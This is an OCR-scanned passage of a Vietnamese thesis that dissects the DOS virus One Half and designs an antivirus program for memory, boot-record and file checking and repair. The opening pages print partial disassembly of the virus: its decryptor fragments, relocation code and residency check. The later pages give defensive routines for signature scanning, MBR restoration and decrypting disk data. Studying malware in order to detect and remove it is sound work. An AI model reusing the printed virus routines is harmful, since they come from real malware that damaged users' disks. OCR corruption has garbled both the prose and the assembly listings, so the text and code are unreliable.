Poan ma tha bay bi thay thé tai 3971h:
81 C2 35 D4 F5 F9 E9 02 FF

Dich nguoc:
add dx,D435h
cmce
stc
jmp $+FF02h

Poan ma thit tdm bi thay thé tai 387Ch;
FB FC 2E 43 F9 E9 AB 02
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Dich nguoc:

st1

cld

CS:

Inc bx

Stc
jmp $+02ABh

Poan thit chin bi thay th€ tai 3B2Fh:
90 F9 81 FB OE 13 36 E9 90 00

Dich nguoc:
nop
stc
cmp bx,130Eh
SS:
jmp $+0090h
Poan thtt muoi bi thay thé tai 3BCYh:
75 D6 E9 E7 04
Dich nguoc:
jnz <DPoan ma tha sau>
jmp $+04E7h

Nhu vay, ching ta thay 10 doan ma trén hoan toan giong nhu
d6i vdi file dang .COM, c6 thé tém tat nhu sau:

- boan 1: Cat gitt AX.

- Doan 2, 3: Cho DS nhan gia tri ctia CS, can nhéc lai rang
khi tai va thi hanh file .EXE, DOS thu xép cho ES =
DS = PSP

- Doan 4: Lay "kich thudc file", tir d6 tinh dugc kich thudc
file that bang (CS + HdrSize) * 16 + "Kich thuéc
file"
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- Poan 5: Lay gia tri ma hoa ban dau.

- Doan 7: Lay gia tri tang cua gid tri ma hod sau moi 1an ma.

- Poan 6,7,8,9,10: Tién hanh vong lip dé giai ma toan bo
phan than cua virus One Half ghép vao cudi cta

file.

- Doan 10: Sau khi gidi ma xong, chuyén diéu khién dén
doan ma tai OFFSET 34Fh trong phan than cia

virus.

Trong phan trude, khi khao sat vé file dang .COM bi nhiém,
sau khi giai ma xong, quyén diéu khién ciing duoc chyén cho
doan ma tai OFFSET 34Fh trong phan than cua virus.

885 call 888h
888 pop sl ; si=888h

sub s1,352h ; $i=536h, trd t6i phan dau
virus OH

mov [s1+02B8],s1 ;Ghi si=536h vao off 2B8h
cua ma VR.

push es

push sl

cld

nc word ptr [si+0DD6h]

mov byte ptr [si+OBABh],74h

Xor ax,ax

mov es,ax

mov ax,es:[046Ch] ; ax=dém thoi gian
18.21an/s

mov [s1+56Ah],ax

mov [s1+0D71h],ax

mov ax,4B53h

int 21h : Kiém tra One Half trong bo
nh&
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cmp ax,454Bh ; Da nhiém trong bo nhé
trong
jZ loc_1
......................................... : Install virus vao dia
cung.
loc_1:
jmp loc_2
loc_2:
pop bx ; bx=offset 0 cua virus
push cs
pop ds
push cs
pop es
lea si,[bx+40h] ; si=offset 40h cua than
virus
add bx,2Ah : bx=offset 2Ah cua virus
mov cx,0Ah
loc_loop_3:
mov di,[bx]
push CX
mov cx,0Ah
repz movsb
pop cX
Inc bx
inc bx
loop loc_loop_3

Toan bd phan ma trén da duogc khao sat, nhiém vu co ban la
thay thé¢ 10 doan ma trong chuong trinh nguyén thé da bi virus
thay th€ bang ma ban diu cta nd.

Ching ta khao sat phan ma tié€p:

pop es ; Lay lai es cii, 1a PSP
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add bx,-2Eh  ; bx 1a OFFSET 10h ctia ma
VIRUS.

mov di,es

add di,10h ; di = STARTSEG

add [bx+16h],di ; Cong STARTSEG vao
ReloCS,

add [bx+0Eh],di ; ReloSS

cmp [bx+06h],0 ; Kiém tra s6 muc
ReloCnt

jz loc_34 ; Néu =0 thi bo qua
phan sau nay

mov ds,es:[002Ch] ; Segment moi trudng cua
DOS

XOr s1,S1

loc_30:

Inc si

cmp word ptr [s1],0

jne loc_30

add s1,4

xchg si,dx . ds:dx tro tGi tén file tai
va thuc hién

mov ax,3D00h

nt 21h ; Open file,
ax=FileHandle.

jc loc_37 ; Nhay néu mé co 16i.

push cs

pop ds

mov word ptr [bx+287h],ax ; Ghi thé file
vao 0 nho

mov dx,[bx+18h] ;

mov ax,4200h ;

call sub_6 ; Goi churc nang dat tro file

: cx:dx tir dau file
push es
xchg di,ax
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loc_31:
push ax ; Cat dia chi dau
STARTSEG
lea dx,[bx+054h] ;
mov cX,[bx+06h] ;
cmp cx,029Eh ;
jb loc_32 ;
mov cx,29Eh ;
loc_32:
sub [bx+6],cx
push CX
shl cx,1
shl cx,1 ; SO luong byte can doc
mov ah,3Fh
call sub_6 ; Poc cx byte tu vi tri con
tro file
jc loc_37
pop cX
pop ax ; Lay lai STARTSEG
xchg s1,dx ; si trd t6i dau buffer dinh
vi lai
loc_loop_33:
add [s1+2],ax
les di,dword ptr [si]
add es:[di],ax ; Pinh vi lai
add s1,4
loop loc_loop_33
cmp word ptr [bx+6],0
ja loc_31
pop es
mov ah,3Eh
call sub_6
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Nhu vdy, phan ma trén tién hanh dinh vi lai cdc muc trong
bang dinh vi lai thay cho DOS. S6 cac muc dinh vi lai luu trix
trong OFFSET 16h ctia phan than cua virus.

push es
pop ds
cmp byte ptr [bx+12h],0 ; Cé lafile
COM hay khong
jne loc_35 ; Nhay néu la file .EXE
........................................ ; Thay th€ 3 byte dau cla
file .COM
loc_35:
pop ax
cli
mov sp,cs:[bx+10h]
mov ss,cs:[bx+0Eh]
sti
loc_36:
jmp dword ptr cs:[bx+14h]
loc_37:
mov ah,4Ch
int 21h

Nhu vay, giong nhu file dang .COM, doan ma nay thay thé
10 doan trong phan chuong trinh nguyén thé da bi virus thay thé,
sau d6 tién hanh dinh vi lai cdc muc trong bang Reloltem, tra lai
gia tri cua cac thanh ghi.

Vi tri trong phan ma virus cat cac thanh ghi:

-Relo CS :26h
- ExelP : 24h
-ReloSS : 1Eh
- ExeSP : 20h

ItemCount : 16h
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TableOffset : 28h

Vi kich thuéc doan ma virus 1a 3544 byte (DD6h), chi€ém 7
trang (moi trang 512 byte), riéng trang cudi bi thi€u 40 byte
(28h), cho nén tur kich thuéc trang, phan trang cudi cua file bi
nhiém, c6 thé tinh lai dugc so trang, phan trang cudi cua file
nguyén thé ban du, cu thé 1a:

PageCnt = PageCnt (bi nhiém) - 7
PartPag = PartPag + 28h
Néu PartPag > 200h thi

PartPag = PartPag - 200h
PageCnt = PageCnt + 1

Céc phan tich trén du d€ ching ta khoi phuc mot file .EXE bi
nhiém virus One Half.
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Chuong IV.
THIET KE CHUONG TRINH CHONG VIRUS.

Mot chuong trinh phat hién, phong chong va khoi phuc dir
liéu trén dia do virus pha hoai bao gom ba phan viéc chinh:
- Kiém tra bo nhé trong.
- Kiém tra Master Boot va Boot Sector.
- Kiém tra file.

1. Kiém tra bé nhd trong.

Kiém tra su hién dién cta virus trong bo nhd trong c6 thé tién
hanh bang hai céch:

Céch tha nhat 1a kiém tra ma nhan biét cta virus tai dia chi
xac dinh trong bo nhé. Cich nay c6 mot nhugc diém 12 khong
phat hién dugc su ton tai trong bo nhé trong ctia nhitng virus mai
ma ma nhan biét khong c6 trong CSDL ctia chuong trinh kiém tra.
Hau hét cac chuong trinh chong virus hién nay dung theo cach
nay.

C4ch thtt hai 12 1am theo cdch ma mot s6 virus da lam dé
kiém tra su ton tai cia minh trong bo nhG: Dung ngit 21h véi
chiic nang dic biét dé kiém tra. Qua phan tich virus One Half
trong phan trén, chiing ta thdy né cling 1am nhu vay: Str dung ngat
21h v6i ax=4B53h, néu gia tri tra vé ax=454Bh thi hién nay One
Half dang ton tai trong bo nhé. Cich nay cling ¢6 mot nhuoc
diém: Thoi gian danh cho viéc ki€ém tra nay bi ting so véi cdch
trén, dong thoi khong phai virus ndo ciing sut dung cach kiém tra
nay.

Vi nhitng 1y do trén, ching ta s& dua ra mot cdch kiém tra
ph6i hop cé hai hinh thic trén: Dau tién kiém tra ma nhan biét
clia virus, néu bat gap, chuong trinh s& ngit (abort), néu khong
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gap s& tién hanh kiém tra dung lugng vang nhé do DOS quan ly
va hé thong dia chi ctia ngat 21h, néu c¢6 van dé thi canh bao
(warning) va cho phép ngudi su dung quyét dinh tiép tuc hay la
khong. Néu tat ca déu tot thi c6 thé két luan ring khong c6 virus
trong bod nhd. Tat nhién cach thitc ma ching ta dé cap trén day cé
mot khuyét di€ém: Khong chdp nhan tai thoi di€ém ki€ém tra ¢6 mot
phan mém thudng tri chi€ém ngét 21h, song diéu nay ciing c6 thé
chap nhan duoc. Mot van dé mang tinh giai phap ky thuat, dé la
14y dia chi ngat 21h. Dia chi nay khong phai 1a mot gid tri khong
d6i ma né thay doi tuy theo version cia DOS. Ching ta s& tién
hanh 1ap bang thong ké dia chi cua ngat 21h tuong (ing vGi céc
version cia DOS, can ct vao version cua DOS trén may tai thoi
diém kiém tra, ching ta s€ tra cifu trén bang nay dé l1ay dugc dia
chi ctia ngét 21h phuc vu cho qua trinh so sédnh déi chiéu.

Sau day 1a so d6 khéi ctia phan kiém tra bo nhé trong:

found virus

Test VMEM.DAT > Abort
not foun
abort

not OK

Y

Tdst Size Mem & Int2lth

.

Continue

Warning, choos¢

continue

A
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Chuong trinh s& tap trung vao hai modul chinh dugc viét bang
assembler

Modul thi nhat: test_vir_mem()

Kiém tra ma nhan bi€t cla cdc virus cé mat trong
VMEM.DAT trong vung nhg.
Gia tri tra vé€ ctia ham:
1: Phat hién ra virus trong vung nhg.
2: Khong phat hién thay c6 cac virus ¢ mat trong
VMEM.DAT trong vung nhé
3: Boc VMEM.DAT c¢6 16i
Modul nay st dung cic ma nhan biét (key value) cua cac
virus trong vung nhd dugce luu trit trong file VMEM.DAT. Cach
thiét k€ nay gitp cho viéc md rong va phat trién chuong trinh,
nghia la theo thoi gian, thong tin vé key value ctia cdc virus s€ dan
dan dugc cap nhat vao file VMEM.DAT dé danh muc céc virus
do chuong trinh phat hién s& dugc b6 sung ma khong phai thay
d6i lai chuong trinh.

Khi modul nay duoc thi hanh, dau tién hé thong sé tim va mo
file VMEM.DAT, néu viéc m& ¢6 16i (khong c6 file nay hoac cé
nhung bi hong, khong md& duoc file dé 1am viéc), modul nay sé&
bao 16i khong tim duoc file VMEM.DAT va sé tra vé hé thong goi
gia tri 1a 3 nhu da néi & trén.

Con né€u mo file VMEM.DAT thanh cong, 1an luot cac record
trong file s€ duoc doc ra. Moi record 1a mot ma nhan biét cia mot
virus, gom 25 byte c6 cau tric nhu sau:

2 byte : Segment chita ma nhan biét virus trong bo nhd.
2 byte : Offset chita ma nhan biét virus trong bo nhd.
1 byte : SO lugng byte trong ma nhan biét.
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10 byte : Ma nhan biét virus.
10 byte : Tén cua virus.

Vi méi record chita ma nhan biét cua virus duoc doc ra tir
file VMEM.DAT, modul nay sé& doi chi€u trong vung nhé tai dia
chi dugc chi ra trong ma nhan biét, néu doan ma tai dia chi dé
trong bo nhé trung véi doan ma nhan biét cua virus thi c¢é nghia la
virus tuong Ung v6i ma nhan bi€t d6 hién dang thuong trd trong
bd nhé, modul s€ thong bao tén cua virus hién dang thuong tru
trong b nhg va két thic chuong trinh, tra vé cho hé thong goi gia
tri 1.

Trong truong hgp da doi chiéu hét moi nhan biét luu trit trong
VMEM.DAT ma khong thdy c6 su trung lap thi ¢6 nghia 1a khong
c6 cdc virus tuong ung d6 trong bo nhé. Modul két thiic va tra vé
cho hé thong goi gia tri 2.

Trong truong hop nay, hé théng s€ goi modul test_mem dé
lam viéc ti€p.

Modul thit hai: test_memy()

Kiém tra dung lugng ving nhé va dia chi ngat 21h.
Gi4 tri tra vé ctia ham:

0: OK

1: Vung nhé khong du 640KB

2: Dia chi Int21h bi sai.

3: Viung nhé khong du va dia chi Int21h bi sai.

Khi modul Test_vir_mem két thic va tra ve gia tri 2 thi di€u
d6 ciing khong c6 nghia 1a khong c6 virus trong bd nhé, ma chi
cho phép két luan ring khong cé cic virus ma chuong trinh cé
kha nang phat hién duoc c6 mit trong bo nhé ma thoi, c6 thé van
c6 nhiing virus khiac ¢6 mat trong d6 ma ma nhan bi€t ctia n6
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khong c6 trong file VMEM.DAT. Chinh vi thé, sau khi
test_vir_mem két thic va tra vé gia tri 2 (khong phat hién duoc
virus), hé thong van phai goi ti€p test_mem.

Test_mem dugc thiét k€ d€ mang tinh du bdo, phdong ngira.
Nhu ching ta da phan tich trong phan tong quan, hau hét cdc B-
virus déu thuong tri trong viing nhd cao, vuot qua mit DOS bang
cach giam dung luong vung nhé do DOS quan 1y tai bién quan 1y
ving nhé (c6 dia chi 0:413h) mot luong bang kich thuéc cua
chinh virus. Nghia la néu gia tri tai bi€n quan ly vung nhé dé
khong du 640K thi c6 cin cit dé€ nghi ngd ring da c¢o virus trong
viing nhd, tuy nhién diéu nay khong phai 1a khang dinh, vi ¢ thé
bd nhé & phan nao d6 bi hong. Ngoai ra mot s6 B-virus va hau hét
F-virus déu chi€m ngat 21h, vi th€ néu dia chi cua ngat 21h khong
diing thi cling 1a can cit d€ ching ta nghi ngo.

Pau tién, modul nay s€ ti€n hanh ki€m tra gid tri tai bién luu
trit tong s6 ving nhé do DOS quan 1y tai 0:413h. Sau d6 s& tién
hanh doc gid tri trong bang vector ngit dé doc dia chi clia ngat
21h, dong thoi kiém tra version ciia DOS trén may dang ki€m tra,
trén co sG d6 so sanh doi chi€u dia chi ngat 21h hién tai va dia chi
chuin tuong ting vé6i version d6. Néu bo nhd di 640K va dia chi
ngat 21h 1a ddng thi ¢6 nghia 1a trong bo nhé ctia mdy tinh khong
cé virus thuong trd, modul nay sé tra vé hé théng goi gia tri 0.
Con néu khong an toan, modul s€ tra v€ cac gid tri nhu da néi 6
trén, hé thong goi sé dua ra cac 1oi canh bao, va cho phép nguoi
st dung chon c6 ti€p tuc viéc ki€ém tra hay 1a khong kiém tra tiép
nua.

Poan chuong trinh sau day minh hoa cach xur Iy da néi & trén:

int gttestmem,gttestmb;
Int cont;
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gttestmb=test_vir_mem();
if(gttestmb==1 |l gttestmb==3) return 1;
else {
gttestmem=test_mem();
switch(gttestmem) {
case 1:
printf("Vung nho khong du 640K ! Co tiep tuc khong
<1/0>7");
scanf(""'%d" ,&cont);break;
case 2:
printf("Dia chi Int21h sai ! Co tiep tuc khong <1/0>?7");
scanf("%d" ,&cont);break;
case 3:
printf("Vung nho khong du 640K va dia chi Int21h bi
sail\n")
printf(" Co tiep tuc khong <1/0>? ");
scanf("'%d" ,&cont);break;
default:
printf(" Kiem tra memory la tot!");
cont=1
}
if(cont==0) return 1;

)

2. Kiém tra Master Boot va Boot Sector.

N6i chung, hau hét doan ma dau trong Master Boot trén céc
dia cta cidc may PC chay trén hé diéu hanh DOS thong dung déu
giong nhau, nhu phén tong quan da phan tich, né déu c6 nhiém
vu phan tich dé xdc dinh Active Partition, sau dé chuyén chinh
phan ma cta minh di ché khdc dé don chd cho viéc tai Boot
Record cua Active Partition vao 0:7C00h (khi d6 bang tham so
dia ciing nam tai 0:7BEh), cu6i ciing chuyén diéu khién cho doan
ma cua Boot Record vira doc.
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Chinh vi 1y do d6, va mot 1y do nita 1a s6 luong qua dong dao
cac virus, ma nhiéu virus méi chua kip khao sat, chuong trinh
kiém tra cta chiing ta s& ti€n hanh nhu sau:

- Poc Master Boot cua dia cting can kiém tra, doi chi€u doan
ma ddu ctia né (ODAh byte) vdi Master Boot chudn, néu tring thi
c6 thé két luan ring Master Boot nay OK, con néu khong triing thi
Master Boot nay c¢6 van d¢. Khi d6 s€ 1an luot d6i chi€u cac ma
nhan biét virus trong VMB.DAT véi Master Boot c4n ki€m tra.

- Néu phat hién ra virus sé tién hanh khoi phuc va tiéu diét.

- Con néu khong phat hién ra thi c6 thé c6 hai kha niang: D6
c6 thé 1a Master Boot lam nhiém vu dac biét, hodac d6 c6 thé 1a
Master Boot bi nhiém loai virus ma chuong trinh cta ching ta
khong nhan biét dugc, trong truong hop do, chuong trinh s€ hoi
ngudi st dung xem c6 d& mot Master Boot chudn 1én vi tri clia
Master Boot hay khong.

Sau day 12 so do6 khoi clia phan ki€ém tra Master Boot:

P6i chiéu MB can kiém tra OK

A

v6i MB chuén Continue

not OK

Poi chi€u MB can kiém ttaKhong phat hién
v6i ma nhan biét VR 1

trong VMbB.DA'l

Phat hién No

Hoi: d&¢ MB chuin
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Giai ma dir liéu trén dia Yes
(néu VR mai hod)

l '

Khoi phuc MB cii Pé MB chuin

!

A

Phan nay c¢6 4 ham chinh dugc viét bang ngbn ngi
Assembler.

- Test_vir_mb(): Ham nay so sanh Master Boot can kiém tra
v6i Master Boot chuén, néu khong OK s& tién hanh d6i chi€u véi
cac ma nhan biét virus trong file VMB.DAT.

Gia tri tra lai ciia ham:
0 : Master Boot OK.

1 : Phat hién ra virus.

2 : Master Boot khoong OK, song khong phat hién ra
Virus.

3 : L6i doc dia hoic khong tim thay file VMB.DAT

Trong chuong trinh da luu trit doan ma chudn clia Master
Boot, ¥ nghia cua doan ma nay ching ta da khao sat trong phan
tong quan. Modul ndy s& ti€n hanh doc Master Boot c4n kiém tra,
so sdnh doan ma cla né v6i doan ma trong Master Boot chuén.
Néu thay hai doan ma hoan toan khép nhau, thi Master Boot can
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kiém tra OK, modul nay két thic va tra vé cho hé thong goi gid tri
0 (Master Boot OK). Con néu c¢6 su sai lac, thi Master Boot c6 van
dé, c6 thé 1a n6 dang chita mot virus B-virus nao do, hoic ciing ¢
thé né c6 mot nhiém vu dic biét. Trong trudng hop nay sé tiép tuc
kiém tra su ¢6 mit cua virus trén Master Boot thong qua key value
luu trit trong file VMB. DAT. Giong nhu viéc kiém tra d6i vdi file
VMEM.DAT, dau tién file VMB.DAT duoc m& ra. Néu viéc mo
c6 16i (khong c6 file VMB.DAT, hoic ¢6 nhung bi 16i), modul s&
két thuc va tra vé cho hé thong goi gia tri 3 (Loi doc dia hoac
khong tim thdy file VMB.DAT). Trong truong hgp nguoc lai, 1an
luot tirng ban ghi luu trit ma nhan bi€t cua cac B-virus dugc doc
vao va kiém tra, doi chi€u véi doan ma trong Master Boot. M6i
record luu ma nhan biét gobm 26 byte ¢6 cdu tric nhu sau:

2 byte : Offset bat dau ctia ma nhan biét.

1 byte : SO lugng byte trong ma nhan biét.

10 byte : Ma nhan biét cua virus.

1 byte : Head, noi cat giau Master Boot cii cua dia.

2 byte : Cyl-Sec, noi cat gidu Master Boot cii cta dia.

10 byte : Tén cua virus.

Néu c6 mot ma nhan biét B-virus nao dé trung véi doan ma
twong ting trong Master Boot can ki€ém tra, modul s& dua ra thong
b4o tén cua virus hién dang c6 mit trong Master Boot, ngat va tra
vé hé thong goi gid tri 1 (phat hién ra virus).

Con néu da kiém tra hét moi ma nhan biét trong VMB.DAT
ma khong thay c6 su trung lap trong doan ma ctia Master Boot,
modul cling s& két thic va tra vé cho hé thong goi gid tri 2
(Master Boot la, song khong phat hién ra virus).
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- Khoi_phuc_MB(): Khoi phuc lai Master Boot cii trong
trudong hop phat hién ra virus, ndim duoc co ché gidu Master Boot
cua no.

Trong truong hop phat hién ra virus hién dang c6 mat trong
Master Boot, can cit vao record luu ma nhan biét cua nd, modul
nay biét dugc vi tri gidu Master Boot trudc khi bi virus nay lay
nhiém. Dua trén can cit nay, modul nay sé khoi phuc Master Boot
bing cdch chuyén trd lai doan ma dau cua Master Boot tir vi tri cat
gidu dén de lén doan ma ddu trong Master Boot dang ki€ém tra.
Sau khi khoi phuc xong, hé thong s& lai quay lai dé kiém tra doi
vGi Master Boot vira khoi phuc dé (xem so do khoi phan trén).

- De_MB_chuan(): D¢ Master Boot chudn trong trudng hop
Master Boot khong chudn nhung khong phat hién duoc loai virus.

Trong trudng hop gip Master Boot khong chuin, va ciing
khong phat hién ra su cé mat cta B-virus trong Master Boot, hé
thong s& hoi ngudi sir dung xem c6 d& Master Boot chuédn 1én hay
khong. Néu nguoi st dung dong ¥, modul nay sé dugc goi. Cong
viéc cua modul nay hoan toan gidéng nhu cong viéc ctia modul
Khoi_phuc_MB, chi khac la thay vi 14y doan ma tir noi cét gidu,
modul nay s& 14y doan ma chudn dé chuyén deé 1én doan ma trong
Master Boot dang kiém tra.

- Giai_ma(): Khoi phuc phan dit liéu trén dia trong trudong
hop loai virus bi phat hién ¢6 phd hoai bang cdch ma hod.
Gia tri tra lai cua ham:
0 néu khoi phuc duoc,
1 néu qua trinh khoi phuc bi 16i.

118/233



www.nhipsongcongnghe.net

Pay 1a mot modul khong thé tong quat duge. Ly do thit nhat
12 khong phai moi B-virus déu ti€n hanh pha hoai, ma hoa dé lai
dau vét trén dia dé phai khoi phuc. Ly do thi hai 1a kiéu va doi
tuong phd hoai cua moi virus 1a khac nhau, c¢6 nghia 1a tng vé6i
moi virus da duoc khao sat, biét ching c6 pha hoai hoiac ma hoa
dit liéu trén dia, phai c6 mot doan chuong trinh khoi phuc tng véi
virus d6. Theo nhu toi biét, hau hét cac chuong trinh hién nay déu
chua dap tng yéu cau do, ho yéu cau Iuu thong tin trén dia ra noi
an toan trudc khi ti€n hanh diét cac loai virus c6 ma hoa, pha hoai
thong tin trén dia.

Trong d6 an nay, vi chiing ta dang khao sat virus One Half
nén modul gidi ma sé dé cap tGi viéc giai ma vung thong tin da bi
One Half ma hoa.

Nhu ching ta da khao sét virus One Half, méi 1an khéi dong,
One Half tién hanh ma hod 2 Cyl, xuat phat tir Cyl cao nhat chua
bi ma hoa vao phia trong, sau dé Iuu gia tri Cyl thap nhat da bi ma
hoa vao offset 29h trong Master Boot.

Nhu vay, dé giai ma, modul nay truGc hét phai 14y dugc 2
tham sO: tham sO thit nhat Ia gia tri Cyl thap nhat ma One Half da
ma hod, tham s6 thi hai 1a gia tri cia toan hang trong 1énh XOR
ma One Half ding d€ ma hoa. Hai tham s6 nay tim duoc tuong
ung tai offset 29h trong Master Boot va offset 7D1h trong phan
than cua virus.

Ngoai ra, modul nay cling phai st dung chic nang 08h cla
ngat 13h dé biét dugc cdc tham s6 6 dia, phan tich trong bang
phan chuong dé 14y dugc Cyl 16n nhét trén dia. Sau khi ¢6 cédc
thong s6 do, tuan tu tiing track can giai ma duoc doc vao trong bo
nhd, tién hanh giai ma bang phép toian XOR véi gid tri XOR cla
One Half roi lai ghi vao vi tri cli cua né trén dia, hét track nay dén
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track khac. Sau khi giai ma hét cac track trén mdt Cylinder,
chuyén sang Cylinder ti€p theo va lap lai cong viéc d6 cho dén khi
da giai ma hét tat ca moi Cynlinder tir Cyl cao nhat trén dia cho
dén Cyl thap nhat ma One Half da ma ho4. Gia tri tra vé€ hé thong
goi ciia modul nay la 0 néu viéc giai ma thanh cong, nguoc lai sé
tra vé gia tri 1. Chi ti€t xin xem phan phu luc liét ké chuong trinh.

Poan chuong trinh sau day minh hoa cach xu 1y da néi & trén:

int loop,gttest_vmb,cont;
do {
gttest_vmb=test_vir_mb();
switch(gttest_vmb) {
case 1: /* Phat hien ra VR */
printf("\n Co giai ma du lieu tren dia khong <1/0> 7 ");
scanf("%d",&cont);
if(cont==1) giai_ma_oh();
printf("™n Co khoi phuc MB khong <1/0> 7");
scanf("%d",&cont);
if(cont==1) {
khoi_phuc_mb();
loop=1;
}
else loop=0;
break;
case 2: /* Not OK song khong phat hien ra VR*/
printf(
"\n Master Boot khong chuan, co de Master Boot chuan
khong <1/0>7);
scanf("%d" ,&cont);
if(cont==1) de_mb_chuan();
loop=0;
break;
case 3:
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printf("\n Loi doc dia ");
return 1;
default:
printf("\n  Master Boot OK \n");

loop=0;
}
} while (loop>0);
3. Kiém tra file.

Can cit vao tinh chat lay lan cta virus trén céc file, dé kiém
tra va khoi phuc file bi 1ay nhiém virus, c4n tién hanh bang ca hai
cach: Kiém tra doan ma nhan biét virus va ki€ém tra bang so do6
hoat dong cua virus. D3di véi cac virus don gian, viéc lay nhiém
trén cac file chi don gian la ghép thém phan ma cha virus vao
phan duoi cua file, ching ta ¢6 thé néu ra mot quy tic cho viéc
nhan biét va khoi phuc thong qua mot CSDL dac trung cua virus.
Mbi ban ghi dac trung cho mot virus, bao gom céc truong nhu
sau:

Size 2 byte Kich thudc cua virus.

Offset 4 byte Vi tri luu trit cia doan ma nhan biét

Length Code 1 byte  So Iugng byte trong doan
ma nhan biét

Code 10 byte  Poan ma nhan biét

Name 10 byte  Tén cua virus

Sau day 1a so d6 hoat dong cua chuong trinh ki€m tra file:

heét

\ 4

) Search file End
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boi véi cac virus phic tap hon, nhu virus One Half ma
ching ta vira khao sat & trén, phan ma cua ching da bi ma hoa
trude khi dugc ghép thém vao file, cho nén chiing ta phai kiém tra
va khoi phuc chiing thong qua so d6 hoat dong cta ting con virus
loai nay.

Chuong trinh kiém tra va khoi phuc file trong khuon kho ctia
luan an nay tap trung chu yéu vao viéc phat hién va khoi phuc file
bi nhiém virus One Half.

a. Search file:

Dé ti€n hanh liét ké tat ca cac file trén dia d€ ki€m tra, ching
ta phai stt dung ky thuat tim ki€ém dé quy. Dé dam bao tinh an
toan ciling nhu dam bao tinh chit thong nhat trong hoat dong, dau
tién chung ta cét gitt DTA cua DOS dang danh cho chuong trinh
(chitc nang 2Fh cua ngat 21h) réi tao DTA mdi phuc vu cho viéc
tim ki€m file (chiic ning 1Ah cta ngét 21h). Vi moi entry tim
ki€ém dugc, ching ta kiém tra xem d6 1a file hay thu muc con.
Néu 1a file s& ti€én hanh kiém tra file d6 xem c6 bi nhiém virus
hay khong, con néu dé la thu muc con thi xay dung mdt mo ta tim
ki€ém md&i tuong tng cho thu muc con dé trong mot DTA méi (tat
nhién trudc d6 phai cat git DTA hién thoi). Trong truong hop viéc
tim ki€m c6 16i (da hét entry) doi v6i mo ta hién thoi, sé quay trd
lai DTA truéc d6 dé tim kiém tiép.

Sau day la doan chuong trinh viét bang ngon ngit assembler
minh hoa cho viéc liét ké file:

mov ah,2Fh
int 21h ;lay dia chi vung DTA ngam dinh cua
DOS,
:dat vao ES:BX
push es
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push
DOS.

mov
mov
nt
mov
mov
mov

loc_loop_0:
mov
nt

loc_loop_1:
jc
mov
push
and
cmp
pop
je

entry khac.

push

and

cmp

pop

jne

muc con
cmp

je

call

mo ta moi

bx ; Cat giu de cuoi cung tra lai cho

dx,OFFSET buff dta

ah,1Ah

21h : Dat DTA bat dau lam viec
bx,dx

dx,OFFSET mota ; Mo ta file tim kiem
c¢x,0FFh : Thuoc tinh file

ah,4Eh

21h ; Tim tap tin thoa man dau tien

het_thu_muc

al,byte ptr [bx+15h]

ax

al,08h ; Nhan dia

al,08h

ax

tim_tiep ; La nhan dia, bo qua tim tié€p

ax
al,10h

al,10h ; co la thu muc con khong

ax

la_file ; Nhay neu khong phai la thu

byte ptr [bx+1Eh],".'
tim_tiep ; La cac thu muc dac biet
xd_mo_ta_t ; con neu la subdir thi xay dung

124/233



www.nhipsongcongnghe.net

add bx,2Bh : bx tro to1 DTA moi, DTA
chi€ém 2Bh byte
push dx
mov dx,bx
mov ah,1Ah
int 21h
pop dx
jmp loc_loop_0 ; Tim tap tin dau tien theo mo ta
moi
la_file:
call in_ten_file ; In ten file tim duoc trong DTA ra
man hinh
; va kiém tra virus d6i véi file nay
call xuong_dong
jmp tim_tiep

het_thu_muc:
cmp bx,OFFSET buff dta

je ket_thuc ;Néu tim hét trong dir. ngoai
cung thi kt
call xd mo ta 1
sub bx,2Bh
push dx
mov dx,bx
mov ah,1Ah
int 21h
pop dx
tim_tiep:
mov ah,4Fh
int 21h ; Tim tap tin ke tiep
jmp loc_loop_1
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ket_thuc:
pop bx
pop es
mov dx,bx
push es
pop ds
mov ah,1Ah
nt 21h ; Dat DTA lai vi tri cu
pop es
pop ds
ret

buff_dta db 400h dup (0)
mota db 50h dup (0)

Poan chuong trinh trén goi hai thu tuc xd_mo_ta_t va
xd_mo_ta_l. Thu tuc xd_mo_ta_t 1a ghép thém entry thu muc vira
tim dugc vao mo ta file hién tai dé tim ki€m trong thu muc con
dé, con tha tuc xd_mo_ta_l la g& bo thu muc cudi cung trong mo
ta file hién tai dé€ quay lui trd lai tim ki€m ti€p trong thu muc cha.

b. Kiém tra file.

Can ct trén so do6 lay nhiém ctia virus One Half d6i vdi file,
viéc kiém tra s€ ti€n hanh trén hai loai file dang .COM va dang
EXE, bang cich doc va phan tich 1Ch byte diu tién cua file.

bl. Kiém tra file dang .COM:

Nhu da khao st file dang .COM bi lay nhi€ém virus One Half,
file bi lay nhiém phai bat dau bang 1énh nhay E9xxxx, nhay tGi
doan ma dau tién ctia One Half thay thé€ trong file. Poan ma dau
tién nay va cac doan ma sau d6 thu xép cac cong viéc cua virus,
giai ma phan chuong trinh cua virus ghép vao file. Cudi cac doan
ma (khong qua 10 byte) 1a mot 1énh nhay E9xxxx hoac EBxx
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nhay dén doan ti€p theo. Néu mot file c6 day du cac yéu td trén
thi d6 chinh 1a file da bi nhi€ém One Half, can ci trén gia tri kich
thudc file, gia tri ma hoa ban dau, gia tri taing trong qua trinh ma
hod, chuong trinh khoi phuc cua ching ta s€ ti€n hanh giai ma
phan dau (dit liéu) cta virus One Half, tra lai dit liéu cho 10 doan
ma va 3 byte d4u tién ctia chuong trinh nguyén thé da bi virus
One Half thay thé.

b2. Kiém tra file dang .EXE:

Qua khao sét & cac phan trudc, chung ta da thay rang co ché
lay nhiém trén file .EXE hoan toan tuong tu nhu doi véi file dang
.COM, nghia la ciing thay th€ 10 doan ma cua chuong trinh
nguyén thé biang doan ma cua virus, chi khac 12 nhan biét d6i véi
file dang .COM bang 3 byte ddu tién thi doi véi file .EXE, nhan
biét bang Exe Header. Poan ma dau tién dugc trao quyén diéu
khién dugc xac dinh bang CS:IP va kich thu6c ctia Exe Header.
Néu bat ddu tir doan ma dau tién, file ¢6 du céc yéu t6 giong nhu
doi véi file .COM thi ¢6 thé két luan rang file nay da bi nhiém
virus One Half. Viéc khoi phuc cling twong tu nhu doi véi file
dang .COM: Giai ma phan dau (phan dit liéu) cta virus One Half,
roi tién hanh thay thé€ lai 10 doan ma da bi One Half thay thé, xay
dung lai Exe Header dung cua file.

Sau day la mot s6 doan ma minh hoa, chi tiét xin xem phan
phu luc liét ké chuong trinh nguon:

mov dx,OFFSET tenfile
call mo_file_handle ; mo file dang xet theo che
do doc ghi,

: the dat o bx, ax=1 neu co loi

; Dot voi cac file ReadOnly
khong cho ; ; phep mo theo che do nay.
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cmp ax,1

je mo_bi_loi

mov cx,1Ch ;doc 1C byte dau tien, tai vi tri

con tro file

